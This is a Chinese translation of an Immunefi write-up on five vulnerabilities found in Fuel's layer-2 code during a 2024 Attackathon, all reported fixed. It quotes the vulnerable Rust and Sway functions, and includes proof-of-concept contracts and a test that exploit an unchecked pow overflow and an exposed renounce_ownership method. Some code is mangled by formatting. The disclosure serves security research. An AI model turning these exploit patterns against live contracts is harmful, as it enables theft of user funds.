本文详细介绍了Fuel协议在Immunefi平台上举办的Attackathon活动中发现的五个关键漏洞,包括漏洞的严重性、影响、资产及修复情况。
从2024年6月17日到7月22日,Fuel protocol 在Immunefi平台上进行了一场为期一个月的Attackathon,欢迎顶尖的白帽人才来寻找Fuel第二层基础设施的漏洞。参与者们成功发现了各种严重程度的有趣漏洞,奖励池高达100万美元USDC。
这些漏洞现在已被修复,如本公告所发布。
以下是由Immunefi的评审员Identified的前五个发现,展示了关键漏洞并增强了Fuel网络的安全性。
严重性:关键
影响:直接损失资金
资源: https://github.com/FuelLabs/fuel-core/tree/v0.31.0
函数executor/src/executor.rs::update_execution_data
即使在交易本身已回滚的情况下,也会将当前交易的MessageOut
收据中的所有message_ids
添加到执行数据中。
前5个漏洞来自于Fuel Attackathon 32965 – Medium
fn update_execution_data<Tx:Chargeable>( | |
&self, | |
tx:&Tx, | |
execution_data:&mutExecutionData, | |
receipts:Vec<Receipt>, | |
gas_price:Word, | |
reverted:bool, | |
state:ProgramState, | |
tx_id:TxId, | |
) -> ExecutorResult<()>{ | |
let(used_gas, tx_fee) = self.total_fee_paid(tx,&receipts, gas_price)?; | |
execution_data.coinbase = execution_data | |
.coinbase | |
.checked_add(tx_fee) | |
.ok_or(ExecutorError::FeeOverflow)?; | |
execution_data.used_gas = execution_data | |
.used_gas | |
.checked_add(used_gas) | |
.ok_or(ExecutorError::GasOverflow)?; | |
execution_data | |
.message_ids | |
.extend(receipts.iter().filter_map(|r| r.message_id())); | |
let status = if reverted { | |
TransactionExecutionResult::Failed{ | |
result:Some(state), | |
receipts, | |
total_gas: used_gas, | |
total_fee: tx_fee, | |
} | |
}else{ | |
// 否则交易成功 | |
TransactionExecutionResult::Success{ | |
result:Some(state), | |
receipts, | |
total_gas: used_gas, | |
total_fee: tx_fee, | |
} | |
}; |
查看原始 Fuel Attackathon 32965的前5个漏洞.rs 托管 ❤ 由 GitHub
这意味着可以向L1发送消息,但将交易回滚,这会撤消桥接代币的销毁。这个伪造的提款可以反复进行,而消息仍然在L1上被转发,可能导致从桥中盗取所有代币。
攻击步骤如下:
严重性:关键 影响:直接损失资金
资源: https://github.com/FuelLabs/sway/tree/v0.61.2
ABI超trait是正如文档所述,旨在使合同实现可组合。因此,它们允许定义可由实现该trait的合约继承的方法。然而,重要的是这些方法不应作为合约方法在外部可用。然而,事实并非如此,这些方法在外部是可用的。
正如我们在sway-core/src/language/ty/program.rs::validate_root中所见,ABI超trait不应向用户暴露其方法。
前5个漏洞来自于Fuel Attackathon 33351-1.rs – Medium
pubfnvalidate_root(...){ | |
... | |
// ABI条目是合约类型的impl_traits中声明的所有函数 | |
// 除了ABI超traits,它们不应将其方法暴露给 | |
// 用户 | |
... | |
} |
查看原始 Fuel Attackathon 33351的前5个漏洞-1.rs 托管 ❤ 由 GitHub
以下示例演示如何renounce_ownership
函数在继承Ownable
traits时可在外部访问。攻击者将能够访问任何合约的超traits。
前5个漏洞来自于Fuel Attackathon 33351-2.rs – Medium
// main.sw | |
contract; | |
mod ownable; | |
use ownable::*; | |
storage{ | |
owner: b256 = b256::zero(), | |
} | |
abi MyAbi:Ownable{ | |
#[storage(read, write)] | |
fn init(); | |
#[storage(read)] | |
fn owner() -> b256; | |
} | |
impl StorageHelpersforContract{ | |
#[storage(read)] | |
fn get_owner() -> b256{ | |
storage.owner.read() | |
} | |
#[storage(write)] | |
fnset_owner(owner:b256){ | |
storage.owner.write(owner) | |
} | |
} | |
implOwnableforContract{} | |
implMyAbiforContract{ | |
#[storage(read, write)] | |
fninit(){ | |
Self::set_owner(ContractId::this().into()); | |
} | |
#[storage(read)] | |
fnowner() -> b256{ | |
returnSelf::get_owner(); | |
} | |
} | |
abiTest{ | |
fn renounce_ownership(); | |
} | |
#[test] | |
fntest(){ | |
let callerA = abi(MyAbi,CONTRACT_ID); | |
callerA.init(); | |
assert(callerA.owner() == CONTRACT_ID); | |
let callerB = abi(Test,CONTRACT_ID); | |
callerB.renounce_ownership();// ! 可在外部访问 | |
assert(callerA.owner() != CONTRACT_ID); | |
assert(callerA.owner() == b256::zero()); | |
} |
查看原始 Fuel Attackathon 33351的前5个漏洞-2.rs 托管 ❤ 由 GitHub
前5个漏洞来自于Fuel Attackathon 33351-3.rs – Medium
// ownable.sw | |
library; | |
pubstructOwnershipTransferred{ | |
previous_owner:b256, | |
new_owner:b256, | |
} | |
pubtraitStorageHelpers{ | |
#[storage(read)] | |
fnget_owner() -> b256; | |
#[storage(write)] | |
fnset_owner(owner:b256); | |
} | |
pubtraitOwnable:StorageHelpers{ | |
}{ | |
#[storage(read)] | |
fnowner() -> b256{ | |
Self::get_owner() | |
} | |
#[storage(read)] | |
fnonly_owner(){ | |
assert(msg_sender().unwrap() == Identity::Address(Address::from(Self::get_owner()))); | |
} | |
#[storage(write)] | |
fnrenounce_ownership(){ | |
Self::set_owner(b256::zero()); | |
} | |
#[storage(read, write)] | |
fntransfer_ownership(new_owner:b256){ | |
assert(new_owner != b256::zero()); | |
let old_owner = Self::get_owner(); | |
Self::set_owner(new_owner); | |
// 日志在这里不起作用 | |
log(OwnershipTransferred{ | |
previous_owner: old_owner, | |
new_owner: new_owner, | |
}) | |
} | |
} |
查看原始 Fuel Attackathon 33351的前5个漏洞-3.rs 托管 ❤ 由 GitHub
严重性:高
影响:Sway优化不正确,导致字节码错误
资源: https://github.com/FuelLabs/sway/tree/7b56ec734d4a4fda550313d448f7f20dba818b59
sway/sway-core/src/asm_lang /virtual_ops.rs::def_registers
函数和sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers
函数用于定义给定指令将写入或读取的参数中的寄存器。这些信息在DCE 优化中使用,以决定哪些指令仅写入“死”寄存器并且可以被删除。
DCE是大多数编译器执行的一种优化过程,它消除无效代码(不会影响程序结果的代码)。这减少了程序大小并提高了程序效率,通过消除未使用的指令。然而,Sway DCE优化步骤错误地标记了一些具有被用作无效代码的结果的指令,从而将其从编译器的输出字节码中删除。
在函数sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers
中,我们可以看到WQAM被错误地认为会修改r1,但并未依赖其值,而WQAM指令的实际行为实际上是将r1用作内存指针。
前5个漏洞来自于Fuel Attackathon 32269.rs – Medium
/// 返回由指令self *读取的所有寄存器的列表。 |
|
pub(crate)fnuse_registers(&self) -> BTreeSet<&VirtualRegister>{ | |
useVirtualOp::*; | |
(matchself{ | |
/\ 算术/逻辑(ALU)指令 \/ | |
... | |
WQAM(_, r2, r3, r4) => vec![r2, r3, r4], | |
... | |
}) | |
.into_iter() | |
.collect() | |
} |
查看原始 Fuel Attackathon 32269的前5个漏洞.rs 托管 ❤ 由 GitHub
严重性:中
影响:任何用户资金的直接盗取,无论是静态的还是动态的,除了未申请的收益
类型为u8
、u16
和u32
的pow
函数实现,在Sway标准数学库中缺乏溢出保护。对于u64
和u256
等更大数据类型的溢出由Fuel虚拟机(VM)处理,但VM不处理较小类型(u8
、u16
、u32
)的溢出。因此,当pow函数的结果超过数据类型的最大值时,结果会环绕,而不会引发任何错误。这可能会导致合同的集成侧计算错误。
正如我们所见,问题在于以下类型u8
、u16
和u32
的Power函数实现,在Sway标准库中,它没有处理溢出。
前5个漏洞来自于Fuel Attackathon 33227-1.rs – Medium
implPowerforu32{ | |
fnpow(self,exponent:u32) -> Self{ | |
asm(r1:self, r2: exponent, r3){ | |
exp r3 r1 r2; | |
r3:Self | |
} | |
} | |
} | |
implPowerforu16{ | |
fnpow(self,exponent:u32) -> Self{ | |
asm(r1:self, r2: exponent, r3){ | |
exp r3 r1 r2; | |
r3:Self | |
} | |
} | |
} | |
implPowerforu8{ | |
fnpow(self,exponent:u32) -> Self{ | |
asm(r1:self, r2: exponent, r3){ | |
exp r3 r1 r2; | |
r3:Self | |
} | |
} | |
} |
查看原始 Fuel Attackathon 33227的前5个漏洞-1.rs 托管 ❤ 由 GitHub
以下是演示数据类型u8
和u32
的溢出漏洞的PoC。
前5个漏洞来自于Fuel Attackathon 33227-2(poc).rs – Medium
contract; | |
// 设置 | |
use std::{ | |
asset::mint_to, | |
constants::DEFAULT_SUB_ID | |
}; | |
abiPowBug{ | |
fn demonstrate_bug_u8(recipient:Identity, a: u8) -> AssetId; | |
fndemonstrate_bug_u32(a:u32) -> u32; | |
} | |
implPowBugforContract{ | |
fndemonstrate_bug_u8(recipient:Identity,a:u8) -> AssetId{ | |
let result_u8 = a.pow(2); | |
let coins_to_mint = result_u8.as_u64()*100; | |
if result_u8 > u8::max(){ | |
revert(1337); | |
} | |
mint_to(recipient,DEFAULT_SUB_ID, coins_to_mint); | |
AssetId::new(ContractId::this(),DEFAULT_SUB_ID) | |
} | |
fndemonstrate_bug_u32(a:u32) -> u32{ | |
let coins_to_keep = a.pow(4); | |
if coins_to_keep <= u32::max(){ | |
revert(1337) | |
} | |
coins_to_keep | |
} | |
} |
查看原始 Fuel Attackathon 33227的前5个漏洞-2(poc).rs 托管 ❤ 由 GitHub
以下测试用例演示了u8
和u32
的值如何超过其各自类型的最大限制,导致溢出并产生错误的、环绕的值。
前5个漏洞来自于Fuel Attackathon 33227-3(test case).rs – Medium
#[tokio::test] | |
asyncfnpow_bug(){ | |
// 设置 | |
let(instance, _id) = get_contract_instance().await; | |
println!("------------u8 pow函数溢出----------------"); | |
let asset_id = instance.methods().demonstrate_bug_u8(Identity::Address(instance.account().address().into()),20) | |
.append_variable_outputs(1) | |
.call() | |
.await | |
.unwrap() | |
.value; | |
let balance = instance.account().get_asset_balance(&asset_id).await.unwrap(); | |
println!("余额: {:#?}", balance); | |
println!("------------u32 pow函数溢出----------------"); | |
let coins_to_keep = instance.methods().demonstrate_bug_u32(1000).call().await.unwrap().value; | |
println!("coins_to_keep: {:#?}", coins_to_keep); | |
let coins_before = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount; | |
println!("coins_before: {:#?}", coins_before); | |
instance.account().transfer( | |
&Bech32Address::from_str("fuel1glsm9rc8ysh9yjt8ljkuatalvdad3rs3wpqjznd3p7daydw2gg6sftwvvr").unwrap(), | |
coins_before - TryInto::<u64>::try_into(coins_to_keep).unwrap(), | |
AssetId::zeroed(), | |
TxPolicies::default() | |
).await.unwrap(); | |
let coins_after = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount; | |
println!("coins after: {:#?}", coins_after); | |
} |
查看原始 Fuel Attackathon 33227的前5个漏洞-3(test case).rs 托管 ❤ 由 GitHub
严重性:高
影响:修改超出设计参数的交易费用
CCP(代码复制)指令将代码从指定的合约复制到内存,按合约的总大小收费,而不是实际复制的字节数。
通过操纵偏移和长度参数,用户可以触发一个场景,其中功能以零填充的方式清除大内存区域而不产生适当费用,实际上执行了便宜的内存清除操作。
此漏洞允许用户以显著降低的Gas费用执行昂贵的内存清理操作。通过以低价支付资源使用费用,这可能导致网络资源耗尽和潜在的拒绝服务攻击,从而危害系统的稳定性和安全性。
CCP指令调用的code_copy
函数加载目标合约的字节码,根据其长度收取Gas费,然后使用不同的长度参数进行零填充数据复制。其工作原理如下:
copy_from_slice_zero_fill
函数处理复制和零填充:通过选择一个超过合约字节码长度的大offset
,data
切片变为空(unwrap_or_default()
返回空切片)。copy_from_slice
操作不执行任何操作,指定的len
范围内的整个内存被填充为零:
用户可以以低成本清除大内存区域,绕过内存操作的适当费用。
以下是PoC测试用例演示CCP指令如何被利用以低成本清除内存:
*更正:报告#5错误标识为33519,已更正为32465。Gist也稍后会更新。
- 原文链接: medium.com/immunefi/top-...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!